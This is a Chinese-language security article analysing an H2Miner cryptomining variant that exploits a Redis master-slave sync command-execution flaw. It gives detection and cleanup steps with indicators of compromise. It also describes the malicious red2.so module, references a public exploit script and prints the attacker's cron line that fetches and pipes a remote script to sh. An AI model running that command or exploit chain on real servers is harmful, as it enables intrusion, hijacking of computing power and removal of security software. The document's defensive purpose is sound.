H2Miner變種，最主要的特征是，入侵后 redis路徑下很明顯多了兩個(gè)可執(zhí)行的so文件，red2.so 和 exp_lin.so ；
該變種利用Redis 4.x/5.x 主從同步命令執(zhí)行漏洞（CNVD-2019-21763）攻擊云服務(wù)器，檢測(cè)數(shù)據(jù)顯示該木馬活動(dòng)有明顯增長(zhǎng)。H2Miner變種木馬入侵后會(huì)下載挖礦木馬，通過(guò)安裝定時(shí)任務(wù)持久化，通過(guò)SSH復(fù)用連接進(jìn)行橫向移動(dòng)感染。
2Miner變種木馬入侵后會(huì)下載kinsingXXXXXXXXXX（10位隨機(jī)字符）木馬作為挖礦木馬kdevtmpfsi的維持進(jìn)程，并且通過(guò)安裝定時(shí)任務(wù)持久化、通過(guò)SSH復(fù)用連接進(jìn)行橫向移動(dòng)感染。H2Miner挖礦木馬會(huì)占用大量CPU資源進(jìn)行挖礦計(jì)算，可能導(dǎo)致業(yè)務(wù)系統(tǒng)崩潰，該挖礦木馬還會(huì)嘗試卸載云服務(wù)器的安全軟件。騰訊安全專(zhuān)家建議企業(yè)用戶(hù)按照以下步驟進(jìn)行自查以及處置：
1.Redis 非必要情況不要暴露在公網(wǎng)，使用足夠強(qiáng)壯的Redis口令；
2.修改配置文件，限制訪問(wèn)Redis服務(wù)器的IP地址（bind 127.0.0.1或指定IP）；
3.排查Redis路徑下是否殘留red2.so、exp_lin.so文件，查詢(xún)主機(jī)上是有否包含有kinsing（或kinsingXXXXXXXXXX）、kdevtmpfsi的文件或進(jìn)程，是否有包含“195.3.146.118”的定時(shí)任務(wù)。
以上步驟可確認(rèn)服務(wù)器是否被H2Miner挖礦木馬感染，如有發(fā)現(xiàn)，可以刪除相關(guān)進(jìn)程文件及定時(shí)任務(wù)。
Redis 4.x/5.x 版本存在主從同步命令執(zhí)行漏洞（CNVD-2019-21763），攻擊者通過(guò)構(gòu)造特定的請(qǐng)求實(shí)現(xiàn)漏洞利用，成功利用漏洞可在目標(biāo)服務(wù)器上實(shí)現(xiàn)Getshell，該漏洞風(fēng)險(xiǎn)較高，且漏洞利用方式已被公開(kāi)。
(https://github.com/Ridter/redis-rce/blob/master/redis-rce.py)
由于Redis 4.x以及之后的版本，Redis新增了模塊功能，用戶(hù)可以通過(guò)外部拓展實(shí)現(xiàn)用戶(hù)需要的功能，這樣就可以在Redis中實(shí)現(xiàn)一個(gè)新的Redis命令。攻擊者利用此功能（由Redis的主機(jī)實(shí)例通過(guò)fullresync同步到從機(jī)），使被攻擊機(jī)加載惡意的模塊red2.so文件，從而實(shí)現(xiàn)遠(yuǎn)程命令執(zhí)行。
ed2.so實(shí)現(xiàn)了shell命令的執(zhí)行功能，可以接受攻擊者指定的任意代碼。
隨后攻擊者通過(guò)執(zhí)行遠(yuǎn)程命令在Redis目錄（/www/server/redis/）中下載了三個(gè)可執(zhí)行文件并運(yùn)行，文件名為kinsing+“10個(gè)隨機(jī)字符”：
insinghoeF6X2YuD
kinsinghUvG9LNzhs
kinsingOtaaHxvErd
對(duì)比發(fā)現(xiàn)三個(gè)文件其實(shí)相同，推測(cè)可能是由于重復(fù)入侵導(dǎo)致。該程序由GO語(yǔ)言開(kāi)發(fā)，通過(guò)還原后的函數(shù)名進(jìn)行對(duì)比，可知其是H2Miner此前的kinsing文件變種，并且與http[:]//45.10.88.124/kinsing下載得到的文件一致。
kinsingXXXXXXXXXX在函數(shù)main_redisBrute中實(shí)現(xiàn)redis爆破攻擊功能。
該樣本會(huì)繼續(xù)下載門(mén)羅幣挖礦木馬/tmp/kdevtmpfsi啟動(dòng)挖礦，導(dǎo)致大量CPU資源被占用，影響機(jī)器正常運(yùn)轉(zhuǎn)。
下載http[:]//45.10.88.124/al.sh，嘗試卸載阿里云騎士和騰訊云鏡。
下載http[:]//45.10.88.124/cron.sh，安裝定時(shí)任務(wù)：
“* * * * * $LDR http[:]//195.3.146.118/unk.sh | sh > /dev/null 2>&1”
下載http[:]//45.10.88.124/spre.sh，嘗試?yán)肧SH連接復(fù)用進(jìn)行橫向移動(dòng)：
與C2地址93.189.46.81通信。文章來(lái)源：http://www.zghlxwxcb.cn/news/detail-507603.html
文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-507603.html
到了這里，關(guān)于H2Miner變種，利用Redis漏洞入侵云服務(wù)器wa礦的文章就介紹完了。如果您還想了解更多內(nèi)容，請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！
